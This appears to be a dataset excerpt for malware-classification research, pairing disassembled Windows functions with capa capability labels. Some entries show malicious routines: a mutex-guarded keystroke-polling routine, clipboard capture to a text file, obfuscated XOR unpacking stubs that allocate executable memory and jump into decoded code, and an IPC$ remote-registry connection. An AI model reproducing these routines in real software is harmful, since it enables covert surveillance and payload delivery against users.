joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43f309
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x463043
call fcn.004607b3
mov dword [ebp - 0x20], edx
mov edi, ecx
mov dword [ebp - 0x1c], edi
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov eax, dword fs:[0x2c]
mov esi, dword [eax]
mov eax, dword [0x476a30]
cmp eax, dword [esi + 4]
jle 0x43f388
mov esi, 0x476a30
push esi
call fcn.0044c7ef
cmp dword [0x476a30], 0xffffffff
pop ecx
jne 0x43f388
mov dword [ebp - 4], 1
mov ecx, 0x476a50
push 0x40
push str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov dword [0x476a50], ebx
mov dword [0x476a60], ebx
mov dword [0x476a64], ebx
call fcn.0044b919
push 0x464698
call fcn.0044cc46
push esi
call fcn.0044c7a5
pop ecx
pop ecx
mov dword [edi], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
mov eax, dword [ebp + 8]
mov edi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 1
test eax, eax
je 0x43f4fc
push 3
pop esi
mov ecx, dword [ebp - 0x20]
dec eax
mov dword [ebp + 8], eax
mov al, byte [ecx]
inc ecx
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
mov dword [ebp - 0x20], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x43f445
mov esi, dword [ebp - 0x1c]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
and ch, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], ch
cmp dword [0x476a64], 0x10
mov ecx, 0x476a50
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x476a50]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.0044acff
inc edi
cmp edi, 4
jl 0x43f40d
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 8]
test eax, eax
jne 0x43f3b0
mov dword [ebp + 8], edi
test edi, edi
je 0x43f4fc
mov eax, edi
cmp edi, esi
jge 0x43f47b
cmp eax, esi
jae 0x43f505
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x43f463
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x43f4e7
mov esi, dword [ebp - 0x1c]
mov edi, eax
cmp dword [0x476a64], 0x10
mov ecx, 0x476a50
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x476a50]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.0044acff
inc ebx
cmp ebx, edi
jl 0x43f4b8
mov edi, dword [ebp + 8]
push 3
pop esi
cmp edi, esi
jge 0x43f4fc
sub esi, edi
mov ecx, dword [ebp - 0x1c]
push 0x3d
call fcn.0044acff
sub esi, 1
jne 0x43f4ed
mov eax, dword [ebp - 0x1c]
call fcn.00460781
ret
call fcn.0044c5dc
int3
Function at 0x43f5eb
Capabilities:
Set current directory

Disassembly:
push 0x58
mov eax, 0x4630f0
call fcn.00460852
xor esi, esi
mov dword [ebp - 0x64], esi
push str.TRUE
lea ecx, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.0044bde4
test al, al
jne 0x43f759
cmp dword [0x47679c], esi
jne 0x43f760
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov dword [ebp - 0x64], 1
push ecx
push 0x104
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.0044af97
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
cmovae eax, dword [ebp - 0x2c]
push eax
push edi
call fcn.0044d712
push ecx
mov esi, eax
lea ecx, [ebp - 0x2c]
push esi
mov ebx, edx
call fcn.0044aa98
cmp esi, edi
jae 0x43f64c
mov byte [ebp - 4], 1
test ebx, ebx
jne 0x43f7a3
push ecx
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0044b2f0
lea ecx, [ebp - 0x2c]
call fcn.0044af6c
mov byte [ebp - 4], 5
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
mov edi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmovae eax, dword [ebp + 8]
push eax
call edi
mov eax, dword [0x4767a8]
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5c]
push dword [eax + 0x18]
call fcn.0044b26b
pop ecx
mov byte [ebp - 4], 6
cmp dword [eax + 0x14], 0x10
jb 0x43f6cc
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x5c]
mov dword [0x47679c], eax
mov byte [ebp - 4], 5
call fcn.0044adca
mov ecx, dword [0x47679c]
test ecx, ecx
je 0x43f743
mov eax, dword [0x4767a8]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [eax + 0x1c]
push ecx
call esi
mov dword [0x47676c], eax
mov eax, dword [0x4767a8]
push dword [eax + 0x24]
push dword [0x47679c]
call esi
mov dword [0x476788], eax
mov eax, dword [0x4767a8]
push dword [eax + 0x28]
push dword [0x47679c]
call esi
mov dword [0x476764], eax
mov eax, dword [0x4767a8]
push dword [eax + 0x20]
push dword [0x47679c]
call esi
mov dword [0x476780], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
cmovae eax, dword [ebp - 0x44]
push eax
call edi
lea ecx, [ebp - 0x44]
call fcn.0044adca
cmp dword [0x47679c], 0
lea ecx, [ebp + 8]
setne bl
call fcn.0044adca
mov al, bl
call fcn.004607a4
ret
mov edx, ebx
mov ecx, str.current_path__
call fcn.0043da6c
int3
Function at 0x44800e
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x448077
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x448077
push esi
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x448070
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x448069
mov ecx, edx
push edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x448048
sub ecx, edi
push 3
push ecx
mov ecx, dword [0x476790]
push edx
mov edx, str.ClipText.txt
call fcn.0042e104
add esp, 0xc
pop edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
pop esi
jmp dword [sym.imp.USER32.dll_CloseClipboard]
ret
Function at 0x44a718
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Get common file path
Get startup folder
Log keystrokes via polling
Terminate process

Disassembly:
push 0x318
mov eax, 0x46452c
call fcn.004607e6
push str.20dksm01pejgq0fneok1nsmqka2jcy30
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x44a875
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
test al, al
jns 0x44a748
call fcn.0042a2bc
push eax
call fcn.00451c13
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x114]
pop ecx
push eax
push ebx
push ebx
push 0x1c
push ebx
call esi
lea eax, [ebp - 0x114]
mov ebx, 0x475978
push eax
mov ecx, ebx
call fcn.0044ad81
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x218]
mov ecx, 0x475990
push eax
call fcn.0044ad81
lea eax, [ebp - 0x31c]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call esi
lea eax, [ebp - 0x31c]
mov esi, 0x475918
push eax
mov ecx, esi
call fcn.0044ad81
push ecx
call fcn.0042e0fa
mov dword [0x476790], eax
call fcn.00447d08
call fcn.004440de
call fcn.004468fc
call fcn.00445993
call fcn.0044558a
call fcn.0044666a
call fcn.0044800e
call fcn.004433ad
call fcn.00447021
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x320], esp
push esi
call fcn.0044ae9c
and dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
push esi
call fcn.0044ae9c
or dword [ebp - 4], 0xffffffff
call fcn.00441d87
add esp, 0x18
mov ecx, esp
mov dword [ebp - 0x324], esp
push ebx
call fcn.0044ae9c
sub esp, 0x18
mov dword [ebp - 4], 1
mov ecx, esp
push ebx
call fcn.0044ae9c
or dword [ebp - 4], 0xffffffff
call fcn.00441d87
add esp, 0x30
call fcn.0044a360
call fcn.00448149
call fcn.0042e137
push edi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
push ebx
call fcn.00451bdc
int3

Function at 0x44d00b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44d04a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44d04a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44d04a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44d04a
cmp dword [ecx + 0x74], 0xe
jbe 0x44d04a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44dba4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.0044db80
pop esi
leave
ret 8
Function at 0x460750
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46077d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46077d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x402c00
pop dword [ebp - 0x10]
mov eax, 0x5b8aa126
add eax, 0xa4b58ada
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x567044d8
sub dword [ebp - 0x20], 0x81dff8d
mov dword [ebp - 0x1c], 0x57f1216e
add dword [ebp - 0x1c], 0xda422ad7
mov dword [ebp - 0x18], 0x6bc8a3b4
add dword [ebp - 0x18], 0xe083a07a
mov dword [ebp - 0x14], 0x8641814b
add dword [ebp - 0x14], 0x79be7eb5
lea eax, [ebp - 0x20]
push eax
mov eax, 0xc7b0cc71
add eax, 0x388fb41b
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xf63fb1b7
sub dword [ebp - 0x20], 0x81cd4861
mov dword [ebp - 0x1c], 0x56c08c69
sub dword [ebp - 0x1c], 0x15542af4
mov dword [ebp - 0x18], 0xaf693105
add dword [ebp - 0x18], 0xb4063b67
mov dword [ebp - 0x14], 0x28367e70
sub dword [ebp - 0x14], 0x28367e70
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39222
push 0
call eax
mov ecx, 0xd949623e
add ecx, 0x26b6ef89
xor ebx, ebx
add ebx, eax
mov esi, 0x411000
add esi, dword [ebp - 0x10]
mov edx, 0x2879703f
add edx, 0xcf5ed428
xor dword [ebp - 4], ecx
mov edi, dword [esi]
add dword [ebp - 4], 0x6b9f7bd1
xor edi, edx
add dword [ebp - 0xc], eax
mov dword [ebx], edi
sub dword [ebp - 4], 0xc0c5c095
add ebx, 0x21d08002
sub ebx, 0x21d07ffe
add esi, 4
loop 0x402d19
add eax, 0x139ef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xe2eca59f
sub ecx, 0xe2aca59f
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40560d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40561c
pop dword [ebp - 0x20]
mov eax, 0x71eb6e22
add eax, 0x8e54e7fa
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xb94c59dc
sub dword [ebp - 0x30], 0x6afa1491
mov dword [ebp - 0x2c], 0x6afbb34e
add dword [ebp - 0x2c], 0xc73798f7
mov dword [ebp - 0x28], 0x30cfeb5
sub dword [ebp - 0x28], 0xb6c0ba87
mov dword [ebp - 0x24], 0xbae46e15
add dword [ebp - 0x24], 0x451b91eb
lea eax, [ebp - 0x30]
push eax
mov eax, 0x7e19b9a2
add eax, 0x822716b2
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xf9607736
sub dword [ebp - 0x30], 0x84ee0de0
mov dword [ebp - 0x2c], 0x922bb584
sub dword [ebp - 0x2c], 0x50bf540f
mov dword [ebp - 0x28], 0x6683a36
sub dword [ebp - 0x28], 0xa2f8cdca
mov dword [ebp - 0x24], 0x62b6141d
sub dword [ebp - 0x24], 0x62b6141d
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x142c9f88
add eax, 0xec1430c4
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a40f
push 0
call eax
mov ecx, 0x302becf4
add ecx, 0xcfd45dfc
xor ebx, ebx
add ebx, eax
mov esi, 0x8997841c
sub esi, 0x8955d41c
add esi, dword [ebp - 0x20]
mov edi, 0xcc301bb5
mov dword [ebp - 4], 0xd0704a28
mov edx, dword [esi]
sub dword [ebp - 4], 0x4fd2f544
xor edx, edi
add dword [ebp - 0x18], 0x4d87d67a
mov dword [ebx], edx
sub dword [ebp - 0x10], ecx
add ebx, 0xf21e3ea9
add ebx, 0xde1c15b
add esi, 0xea51cfb
sub esi, 0xea51cf7
loop 0x40573a
add eax, 0x11e93
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9b0a8614
add ecx, 0x653579ec
add ecx, dword [ebp - 0x20]
Function at 0x427faa
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x427fb9
pop dword [ebp - 0x34]
mov eax, 0xb4551ad9
sub eax, 0xb4129b20
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xf43d9058
sub dword [ebp - 0x44], 0xa5eb4b0d
mov dword [ebp - 0x40], 0x529b6bfa
add dword [ebp - 0x40], 0xdf97e04b
mov dword [ebp - 0x3c], 0xde444f7a
add dword [ebp - 0x3c], 0x6e07f4b4
mov dword [ebp - 0x38], 0x5a64ea00
add dword [ebp - 0x38], 0xa59b1600
lea eax, [ebp - 0x44]
push eax
mov eax, 0xa67b4355
add eax, 0x59ca6d0f
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xda1be67e
sub dword [ebp - 0x44], 0x65a97d28
mov dword [ebp - 0x40], 0x19b794d1
add dword [ebp - 0x40], 0x27b4cca4
mov dword [ebp - 0x3c], 0x1f021412
sub dword [ebp - 0x3c], 0xbb92a7a6
mov dword [ebp - 0x38], 0x48212a44
sub dword [ebp - 0x38], 0x48212a44
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xd202c0f4
sub eax, 0xd1bd1074
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x4d449
push 0
call eax
mov ecx, 0xb4717c03
add ecx, 0x4b8ec8cb
xor esi, esi
add esi, eax
mov edi, 0x476000
add edi, dword [ebp - 0x34]
mov ebx, 0x95675c35
mov dword [ebp - 4], 0xc8ea1c67
mov edx, dword [edi]
xor edx, ebx
xor dword [ebp - 0x28], ebx
mov dword [esi], edx
sub dword [ebp - 0x28], 0xe0cfddf0
add esi, 0xbe32ca7f
add esi, 0x41cd3585
add edi, 0xd7a954c6
add edi, 0x2856ab3e
loop 0x4280d1
add eax, 0xf14f240
sub eax, 0xf13ec35
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x404fe9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x10]
push ebx
push 1
push 0
call dword [sym.imp.OLe32.dlL_CreateStreamOnHGlobal]
test eax, eax
js 0x405021
push edi
push 0
push 0x48faf0
push 0xa
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_FindResourceExW]
mov edi, eax
test edi, edi
jne 0x43dd5c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x405020
push edi
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov edi, eax
test edi, edi
je 0x405020
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_LockResource]
test eax, eax
je 0x405020
mov ecx, dword [ebx]
push 0
push edi
push eax
mov edx, dword [ecx]
push ecx
call dword [edx + 0x10]
mov eax, dword [ebx]
xor edx, edx
push edx
push edx
push edx
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x14]
mov byte [esi + 0x14], 1
jmp 0x405020

Function at 0x40506b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
jne 0x43ddf6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00425812
add esp, 0x10
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ecx + 0x10]
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
imul eax, dword [ebp + 0x10]
mov edx, dword [ecx]
push eax
push dword [ebp + 8]
push ecx
call dword [edx + 0xc]
mov eax, dword [ebp - 4]
jmp 0x405091
Function at 0x457d24
Capabilities:
Connect network resource
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x10], ebx
mov edi, edx
mov dword [ebp - 8], ebx
call fcn.004077c7
lea ecx, [ebp - 0x20]
call fcn.004077c7
lea ecx, [ebp - 0x40]
call fcn.004077c7
push 0x4b93a8
lea ecx, [ebp - 0x30]
call fcn.00407d2c
push esi
lea ecx, [ebp - 0x30]
call fcn.00407e0b
push str.CLSID
lea ecx, [ebp - 0x30]
call fcn.00407e0b
lea ecx, [ebp - 0x20]
call fcn.00407eec
test edi, edi
je 0x457da7
push 0x5c
pop eax
cmp word [edi], ax
je 0x457da7
cmp word [edi + 2], ax
je 0x457da7
push 0x4b93dc
lea ecx, [ebp - 0x20]
call fcn.00407d2c
push edi
lea ecx, [ebp - 0x20]
call fcn.00407e0b
cmp dword [ebp + 0xc], ebx
je 0x457df8
push 0x20
lea eax, [ebp - 0x60]
push ebx
push eax
call fcn.00423020
add esp, 0xc
mov dword [ebp - 0x5c], ebx
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x40]
push eax
call fcn.004081a7
push str.IPC_
lea ecx, [ebp - 0x40]
call fcn.00407e0b
mov eax, dword [ebp - 0x40]
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x60]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
mov esi, eax
test esi, esi
js 0x457e84
lea eax, [ebp - 0x10]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
mov esi, eax
test esi, esi
jne 0x457e84
lea eax, [ebp - 8]
push eax
push 0x20019
push ebx
push dword [ebp - 0x30]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
test esi, esi
jne 0x457e7f
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x1fe
push eax
lea eax, [ebp - 0x26c]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x457e7a
mov eax, dword [ebp - 0xc]
xor ecx, ecx
push dword [ebp + 8]
shr eax, 1
mov dword [ebp - 0xc], eax
mov word [ebp + eax*2 - 0x26c], cx
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.OLe32.dlL_CLSIDFromString]
mov esi, eax
push dword [ebp - 8]
call edi
push dword [ebp - 0x10]
call edi
lea ecx, [ebp - 0x40]
call fcn.00405a64
lea ecx, [ebp - 0x20]
call fcn.00405a64
lea ecx, [ebp - 0x30]
call fcn.00405a64
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x48bced
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
cmp word [eax], di
je 0x48be07
push edi
push edi
push 3
push edi
push edi
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x48bd24
xor eax, eax
jmp 0x48be36
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
push esi
push 2
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x48bd47
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x48bd1d
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push 0
lea ecx, [ebp - 0xc]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test esi, esi
je 0x48bd1d
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.OLe32.dlL_CreateStreamOnHGlobal]
lea eax, [ebp - 4]
xor edi, edi
push eax
push 0x492cac
push edi
push edi
push dword [ebp - 8]
mov dword [ebp - 4], edi
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x48bd1d
mov eax, dword [ecx]
lea edx, [ebp + 0xc]
push edx
push ecx
call dword [eax + 0xc]
lea eax, [ebp - 0x24]
push eax
push 0x18
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_GetObjectW]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
cmp dword [edx], edi
jne 0x48bde3
cmp dword [ecx], edi
jne 0x48bde3
mov eax, dword [ebp - 0x20]
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
push 0x2000
push dword [ecx]
push dword [edx]
push edi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_CopyImage]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0xc]
jmp 0x48be0c
mov eax, edi
mov dword [ebp + 0xc], eax
mov esi, dword [ebp + 8]
cmp dword [esi + 0x64], 0
je 0x48be21
push dword [esi + 0x64]
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp + 0xc]
push eax
push edi
mov dword [esi + 0x64], eax
mov esi, dword [esi]
push 0x172
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40481d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40482c
pop dword [ebp - 0x18]
mov eax, 0x15b96d28
sub eax, 0x157924fc
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x845ac0c0
add dword [ebp - 0x28], 0xc9f7848b
mov dword [ebp - 0x24], 0x931812d7
add dword [ebp - 0x24], 0x9f1b396e
mov dword [ebp - 0x20], 0x416d639e
add dword [ebp - 0x20], 0xadee090
mov dword [ebp - 0x1c], 0x2963f8ed
sub dword [ebp - 0x1c], 0x2963f8ed
lea eax, [ebp - 0x28]
push eax
mov eax, 0xce66762c
add eax, 0x31dbba48
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xaf61c551
sub dword [ebp - 0x28], 0x3aef5bfb
mov dword [ebp - 0x24], 0xab893c10
sub dword [ebp - 0x24], 0x6a1cda9b
mov dword [ebp - 0x20], 0x8c0b226
sub dword [ebp - 0x20], 0xa55145ba
mov dword [ebp - 0x1c], 0xa9d40e9b
sub dword [ebp - 0x1c], 0xa9d40e9b
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3fc09
push 0
call eax
mov ecx, 0x9b28d6b8
add ecx, 0x64d77962
mov esi, eax
mov edi, 0xa6478315
sub edi, 0xa6043f15
add edi, dword [ebp - 0x18]
mov ebx, 0x1bfb37
sub ebx, 0x6173b319
add dword [ebp - 0xc], 0xc2fe53aa
mov edx, dword [edi]
sub dword [ebp - 0x14], eax
xor edx, ebx
mov dword [esi], edx
xor dword [ebp - 0xc], edi
add esi, 0xa61c2eb1
add esi, 0x59e3d153
add edi, 0x55730ba6
add edi, 0xaa8cf45e
loop 0x404949
add eax, 0xabedf158
sub eax, 0xabecbe1d
xor ebx, ebx
add ebx, eax
add eax, 0x2de732eb
add eax, 0xd218cd1a
mov ecx, 0xc2eeb499
add ecx, 0x3d514b67
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c